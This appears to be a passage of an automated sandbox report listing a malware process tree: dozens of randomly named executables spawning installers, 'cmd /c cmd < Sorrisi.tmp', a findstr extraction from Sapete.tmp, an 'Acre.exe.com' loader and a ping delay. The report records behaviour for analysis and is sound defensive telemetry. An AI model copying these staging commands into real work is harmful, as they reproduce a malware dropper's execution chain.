                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\KUmsfqiZkSzRXHCdCtwKZg_p.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\KUmsfqiZkSzRXHCdCtwKZg_p.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11536
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:10504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:10072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6016
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\H1E3CAkbHYu8WV90WResWBjf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\_4OmxrTg6oo00bhAyxHJgg6K.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\_4OmxrTg6oo00bhAyxHJgg6K.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\_4OmxrTg6oo00bhAyxHJgg6K.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\_4OmxrTg6oo00bhAyxHJgg6K.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:11592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\z5pNSv8rA8mhZ0c3PyjmNeF4.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\z5pNSv8rA8mhZ0c3PyjmNeF4.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:10548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\4531297.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\4531297.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:10080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\2664471.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\2664471.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:11136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\gR_ZwpGj2AxWcrUDiQJdY1Bu.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\gR_ZwpGj2AxWcrUDiQJdY1Bu.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\QKBZMiU6kLjvY1MpcePQKo2z.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\QKBZMiU6kLjvY1MpcePQKo2z.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:11100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      cmd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      28⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:10060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          29⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:11004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.005\Acre.exe.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Acre.exe.com k
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            29⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:10424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ping 127.0.0.1 -n 30
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              29⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\iv_NLT3jJH7D0xpx7gEk9_gk.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\iv_NLT3jJH7D0xpx7gEk9_gk.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\3030976.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\3030976.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:11192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\1443083.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\1443083.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\ZJN15JZXmcbbV8r8IO3ylupl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\ZJN15JZXmcbbV8r8IO3ylupl.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:10436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0FC7F658\setup_install.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zS0FC7F658\setup_install.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      28⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          29⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:10408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0FC7F658\karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              30⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0FC7F658\karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zS0FC7F658\karotima_2.exe" -a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                29⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS0FC7F658\karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    30⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\C6THaImlNXcwLG6du2Je7FV5.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\C6THaImlNXcwLG6du2Je7FV5.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11076
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\C6THaImlNXcwLG6du2Je7FV5.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\C6THaImlNXcwLG6du2Je7FV5.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            32⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:10896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\PhPkERVcRKjMy2O3bmJbF33p.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\PhPkERVcRKjMy2O3bmJbF33p.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\uOF9nlrZ4v6kC7gc4_RSwBLJ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\uOF9nlrZ4v6kC7gc4_RSwBLJ.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:11404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\uOF9nlrZ4v6kC7gc4_RSwBLJ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\uOF9nlrZ4v6kC7gc4_RSwBLJ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  32⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:12152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\MCqWzVGkwOAjtqqLJN23kd6X.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\MCqWzVGkwOAjtqqLJN23kd6X.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:11440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\oZgyMHuQzEIptkOmY67B77Mg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\oZgyMHuQzEIptkOmY67B77Mg.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:11488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\_S_remqzvP7UZ1g1XGdZL91f.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\_S_remqzvP7UZ1g1XGdZL91f.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          32⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:9684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\NiUEYCJ9bh6sP3DbsLLuRdPD.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\NiUEYCJ9bh6sP3DbsLLuRdPD.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:11508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\EOyFKpdBE62gPDDlcKfL8rN3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\EOyFKpdBE62gPDDlcKfL8rN3.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:9240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\cKJXRU0WsrLOuA_KwzTvh84K.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\cKJXRU0WsrLOuA_KwzTvh84K.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:11880
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\cKJXRU0WsrLOuA_KwzTvh84K.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\cKJXRU0WsrLOuA_KwzTvh84K.exe" -a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  32⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\IcFl14f6kJC0iJUzh9cqGuE6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\IcFl14f6kJC0iJUzh9cqGuE6.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:9408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\P9Ttu92U3smd3kWO23TWpbda.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\P9Ttu92U3smd3kWO23TWpbda.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\UDdm1eVQxWuxcdSABX4Q_cVy.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\UDdm1eVQxWuxcdSABX4Q_cVy.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:12204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\UDdm1eVQxWuxcdSABX4Q_cVy.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\Documents\UDdm1eVQxWuxcdSABX4Q_cVy.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          32⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:10436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\30_rY7EiRe2jgqYbiYPB3ysY.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\30_rY7EiRe2jgqYbiYPB3ysY.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:9116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\30_rY7EiRe2jgqYbiYPB3ysY.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\30_rY7EiRe2jgqYbiYPB3ysY.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              32⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:12044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\kwGeMXOtQefHQdyPO7HYgP0Y.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\kwGeMXOtQefHQdyPO7HYgP0Y.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:9772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\jUWnveLgaVvYa3Y0cosAkE81.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\jUWnveLgaVvYa3Y0cosAkE81.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:11356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\R2hqI64Zzx1ihcELVhO2DMpa.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\R2hqI64Zzx1ihcELVhO2DMpa.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\R52Z0GFHkP92oLBqapiRXDHv.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\R52Z0GFHkP92oLBqapiRXDHv.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:11368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\9zG28rvn8RZo7PkRAcIIV6sT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\9zG28rvn8RZo7PkRAcIIV6sT.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:11372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\QZxcwT8U4aZA_uZlPxmbFAHH.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\QZxcwT8U4aZA_uZlPxmbFAHH.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\y3AqH9z3yle8A8FG2qgXjM8Z.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\y3AqH9z3yle8A8FG2qgXjM8Z.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:11788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              32⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:12088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS83F38EE8\setup_install.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zS83F38EE8\setup_install.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  33⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\dYCbMoWI8MSnDg4IkL1haYM2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\dYCbMoWI8MSnDg4IkL1haYM2.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\Cn2AjJfc_2ytbnEyLpt39jho.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\Cn2AjJfc_2ytbnEyLpt39jho.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  31⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\eAxlWFwHv5lBvdirGJnkGJ_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\eAxlWFwHv5lBvdirGJnkGJ_1.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:9636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\eAxlWFwHv5lBvdirGJnkGJ_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\eAxlWFwHv5lBvdirGJnkGJ_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:11912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\ulGKLNC7WnyimUE4EqMyZ_1g.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\ulGKLNC7WnyimUE4EqMyZ_1g.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\ulGKLNC7WnyimUE4EqMyZ_1g.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\ulGKLNC7WnyimUE4EqMyZ_1g.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:11572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\XJWWEbj_RwfbjHBw34JvsvB1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\XJWWEbj_RwfbjHBw34JvsvB1.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:11140
